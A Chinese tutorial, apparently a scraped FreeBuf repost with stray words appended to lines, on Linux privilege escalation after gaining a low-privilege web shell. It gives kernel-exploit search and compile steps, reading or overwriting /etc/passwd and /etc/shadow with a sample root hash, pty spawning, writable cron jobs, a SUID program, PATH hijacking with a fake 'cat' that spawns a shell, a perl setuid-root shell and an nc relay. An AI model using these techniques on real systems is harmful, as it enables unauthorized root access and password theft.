Linux提權:從入門到放棄

*原創做者:piece of the past,本文屬Freebuf原創獎勵計劃,未經許可禁止轉載css

日站就要日個完全。每每咱們能拿下服務器的web服務,卻被更新地比西方記者還快的管理員把內網滲透的種子扼殺在提權的萌芽裏面。Linux系統的提權過程不止涉及到了漏洞,也涉及了不少系統配置。一下是我總結的一些提權方法。python

幾點前提

已經拿到低權shellmysql

被入侵的機器上面有nc,python,perl等linux很是常見的工具linux

有權限上傳文件和下載文件nginx

內核漏洞提權

提到髒牛,運維流下兩行眼淚,咱們留下兩行鼻血。內核漏洞是咱們幾乎最早想到的提權方法。通殺的內核漏洞是十分少見的,於是咱們應該先對系統相關的信息進行收集。web

查看發行版sql

cat /etc/issue cat /etc/*-release 

查看內核版本shell

uname -a 

這裏我找了臺機器測試:數據庫

#uname -a Linux xxxxx 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux#cat /etc/*-release DISTRIB_ID=UbuntuDISTRIB_RELEASE=10.04 DISTRIB_CODENAME=lucid DISTRIB_DESCRIPTION="Ubuntu 10.04 LTS" 

這樣,咱們就獲得了系統的內核版本(2.6.32-21 pae),cpu架構(i686),和發行版(ubuntu 10.04)ubuntu

能夠開始搜索了

大多內核漏洞經過內核版本能很快查到

用kali自帶的searchsploit來搜索exploitdb中的漏洞利用代碼

searchspoit linux 2.6 ubuntu priv esc 

結果:

這麼多,咱們加入系統信息縮小範圍

searchsploit linux priv esc 2.6 ubuntu 10 

這樣可選的exp就少多了,很無奈,咱們須要漫長的點開exp看具體要求的篩選過程,大部分exp都會寫清生效條件。所以咱們可以雖然很氣,但也很快地去掉一些不具有利用條件的exp。好比第三個exp針對一個特別的磁盤格式,排除。

通過艱難的尋找,發現15704,c很順眼,因而把源代碼上傳,而後:

#gcc exp.c #lsexp.c a.out#./a.out id uid=0(root) gid=0(root) 

咱們先編譯exp再執行。能夠看到exp執行之後沒輸出,可是咱們其實已經獲得rootshell了(exp執行之後必定敲個命令,否則都不知道是成功了仍是卡了)

exploitdb的搜索過程雖然繁瑣,可是能基本保證不會遺漏漏洞。若是想先偷懶圖個快的話,咱們能夠試試https://www.kernel-exploits.com/,這裏的exp已經按照內核版本分類了,並且有不少已經完成了編譯。

好比咱們搜索2.6.32:

這個rds的binary剛巧能用。「我收集信息了,我上傳exp了,我就root了。「

固然,以上只是很是理想的狀況,咱們常常會遇到沒有gcc的坑爹服務器。這時咱們就須要在本地編譯。本地編譯時不止要看exp源碼註釋的編譯參數,也須要手動調整一下編譯的參數,好比給gcc 加-m 32來編譯32位。編譯問題繁多,有困難找谷歌,再也不贅述。

當內核版本沒有好用的exp對應的時候,能夠檢查磁盤格式:

cat /etc/fstab 

和已經安裝的程序:

dpkg -l rpm -qa 

而後進行剛剛繁瑣的搜索,沒準就找到個bug

最後強調利用內核漏洞的幾個注意點:

1.讀源碼,否則可能連編譯都不會

2.讀源碼,否則費勁編譯完才發現不適用

3.讀源碼,否則遇到一個刪全盤的」exp「怎麼辦

明文root密碼提權

passwd和shadow

雖然遇到的機率很小,但仍是提一下

大多linux系統的密碼都和/etc/passwd和/etc/shadow這兩個配置文件息息相關。passwd裏面儲存了用戶,shadow裏面是密碼的hash。出於安全考慮passwd是全用戶可讀,root可寫的。shadow是僅root可讀寫的。

這裏是一個典型的passwd文件

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh ibuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin 

passwd由冒號分割,第一列是用戶名,第二列是密碼,x表明密碼hash被放在shadow裏面了(這樣非root就看不到了)。而shadow裏面最重要的就是密碼的hash

root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7::: daemon:*:15730:0:99999:7::: bin:*:15730:0:99999:7::: sys:*:15730:0:99999:7::: sync:*:15730:0:99999:7::: games:*:15730:0:99999:7::: man:*:15730:0:99999:7::: lp:*:15730:0:99999:7::: mail:*:15730:0:99999:7::: news:*:15730:0:99999:7::: uucp:*:15730:0:99999:7::: proxy:*:15730:0:99999:7::: www-data:*:15730:0:99999:7::: backup:*:15730:0:99999:7::: list:*:15730:0:99999:7::: irc:*:15730:0:99999:7::: gnats:*:15730:0:99999:7::: nobody:*:15730:0:99999:7::: libuuid:!:15730:0:99999:7::: syslog:*:15730:0:99999:7::: mysql:!:15730:0:99999:7::: dovecot:*:15730:0:99999:7::: sshd:*:15730:0:99999:7::: postfix:*:15730:0:99999:7::: 

shell命令來檢查權限

cd /etc ls -l passwd shadow 

若是passwd可寫,咱們就能夠把root的密碼字段(x)替換成一個已知密碼的hash(好比本機shadow裏面的root密碼hash),這樣系統在驗證密碼時以passwd的爲準,密碼就已知了。若是shadow可讀,咱們能夠讀走root的hash,而後用hashcat或者john暴力破解之。

密碼複用

不少管理員會重複使用密碼,所以數據庫或者web後臺的密碼也許就是root密碼。

and then?

有了(疑似)root密碼怎麼辦?你必定想ssh登錄。然而ssh極可能禁止root登錄,或是防火牆規則將你排除在外了。返回來想,咱們不是有一個低權shell了嗎?找個辦法再上面「輸入」密碼就行了。顯然,直接在低權shell裏面用sudo是不奏效的。這是由於出於安全考慮,linux要求用戶必須從終端設備(tty)中輸入密碼,而不是標準輸入(stdin)。換句話說,sudo在你輸入密碼的時候本質上是讀取了鍵盤,而不是bash裏面輸入的字符。所以爲了可以輸入密碼,咱們必須模擬一個終端設備。python就有這樣的功能。在shell裏面輸入:

python -c 'import pty;pty.spawn("/bin/sh")' 

就用python簡歷了一個虛擬終端,而後就可使用sudo等等命令了。

python -c 'import pty;pty.spawn("/bin/sh")' $ sudo su sudo su [sudo] password for www-data: 123456 Sorry, try again. [sudo] password for www-data: 

計劃任務

系統內可能會有一些定時執行的任務,通常這些任務由crontab來管理,具備所屬用戶的權限。非root權限的用戶是不能夠列出root用戶的計劃任務的。可是/etc/內系統的計劃任務能夠被列出

ls -l /etc/cron* 

默認這些程序以root權限執行,若是有幸遇到一個把其中腳本配置成任意用戶可寫的管理員,咱們就能夠修改腳本等回連rootshell了。

SUID

SUID是一種特殊的文件屬性,它容許用戶執行的文件以該文件的擁有者的身份運行。好比passwd命令,就是以root權限運行來修改shadow的。

這裏咱們作個實驗(環境爲ubuntu 16.04):

c源代碼

#include<stdlib.h> #include <unistd.h> int main() { setuid(0);//run as root system("id"); system("cat /etc/shadow"); } 

以root進行編譯和權限設置

gcc suid.c  -o suid-exp chmod 4755 ./suid-exp#這裏設置了SUID位 ls -l 

輸出

-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp 

注意s屬性,表示這個程序有SUID的屬性。

接下來咱們切換用戶並執行

su test
./suid-exp 

能夠看到程序實際上已經提高到了root權限。

SUID程序常常存在提權漏洞,好比nmap就曾出現過提權漏洞。低權用戶經過打開nmap交互模式以root執行任意系統命令。而除了藉助程序功能提權,咱們還能夠嘗試劫持環境變量提權。上文的c程序使用了system函數,system函數是繼承環境變量的,所以咱們經過替換環境變量能夠達到執行任意命令的效果。

咱們進入test低權用戶的shell

cat >> /tmp/cat <<EOF
#!/usr/bin/python print "this is not the true cat" print "here is a root shell!" import pty;pty.spawn("/bin/sh") EOF # 這裏咱們在/tmp創建了假的cat,它會用python執行一個shell PATH=/tmp:$PATH#設置PATH,優先從/tmp查找程序 ./suid-exp#執行suid程序,由於PATH被劫持,system("cat /etc/shadow");會執行咱們的假cat 

運行結果

還有一種狀況:管理員配置錯誤,把不帶setuid(0);代碼的程序配置了SUID。當這些程序被劫持的時候,咱們須要本身的程序中使用setuid(0);來提權到root。這裏有一個小技巧,咱們用perl腳原本setuid:

#!/usr/bin/perl $< = $>; $( = $) = 0; system ("/bin/sh"): 

用這個簡單的腳本劫持,就把shell運行在root權限下了。

網絡與隱藏的服務

有一些服務器的服務會被配置成對內網或者對本機開放。經過對他們的攻擊咱們有機會接觸更多的敏感文件,或是運氣足夠好碰上一個遠程root漏洞。

netstat -antup#查看各類網絡服務 

若是找到些神祕的服務,能夠用netcat作個轉發

mkfifo backpipe
nc -l 8082 0<backpipe | nc remote_host 445 1>backpipe 

以後找漏洞,攻擊,從頭再來。

相關工具

提了那麼配置錯誤的利用,卻沒說怎麼找這些錯誤

分享兩個腳本:

unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check

linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py

這兩個程序不止細緻地檢查了很是多的配置問題,更讓人感動地列出了全部可寫文件。基本上能夠說他們的檢查是足夠全面的。

固然若是但願手動檢查仍是推薦 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

總結

Linux提權花樣很是多,涉及的技術五花八門。寫這篇文章的時候總想把相關知識都解釋清楚,可是面對系統繁瑣的工做過程和衆多的發行版深感本身理解之淺。我很贊同在不少論壇上看到的對於linux提權的提示:你須要知道linux系統的工做方式。各類奇技淫巧或是無比腦殘的錯誤最終都回歸到了系統的運行流程和權限管理機制上面。迴歸本質,系統地瞭解系統纔是保證安全的最佳方式。

參考資料

http://www.xinotes.net/notes/note/1529/

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

聯繫方式

1005308775@qq.com

相關文章
相關標籤/搜索